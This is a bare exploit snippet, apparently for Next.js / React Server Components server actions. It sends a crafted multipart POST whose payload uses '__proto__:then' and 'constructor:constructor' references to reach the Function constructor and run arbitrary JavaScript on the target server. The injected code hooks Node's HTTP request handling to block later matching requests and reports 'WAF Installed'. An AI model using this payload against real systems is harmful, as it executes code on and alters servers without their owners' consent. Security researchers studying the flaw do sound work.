python main.py

python main.py http://example.com/

const formData = new FormData();

const actionPayload = {"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"throw(async()=>{const t=await import(\"node:http\"),e=t.IncomingMessage.prototype.emit;t.IncomingMessage.prototype.emit=function(t,...n){if(\"data\"===t&&n.length>0){const t=this.headers[\"content-type\"]||\"\";if(t.includes(\"multipart\")||t.includes(\"json\")||t.includes(\"text\")){const t=n[0].toString(\"utf8\");if(t.includes('\"then\":\"$1:__proto__:then\"')||t.includes('\"get\":\"$1:constructor:constructor\"')){const t=this.socket._httpMessage;if(t&&!t.headersSent)try{return t.writeHead(500,{\"Content-Type\":\"text/plain; charset=utf-8\",Connection:\"close\",\"X-Powered-By\":\"Next.js\"}),t.end('0:{\"a\":\"$@1\",\"f\":\"\",\"b\":\"cwwYVM2ZWm4vgZG3xVPfk\"}\\n1:E{\"digest\":\"2494231801\"}',(()=>this.destroy())),!1}catch(t){this.destroy()}else this.destroy();return!1}}}return e.apply(this,arguments)}})(),Object.assign(new Error(\"x\"),{digest:\"WAF Installed\"});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}

formData.append("0", JSON.stringify(actionPayload));
formData.append("1", '"$@0"');
formData.append("2", "[]");

fetch("/", {
  method: "POST",
  body: formData,
  headers: {
    "Next-Action": "x",
  }
})
  .then(async res => console.log(await res.text()));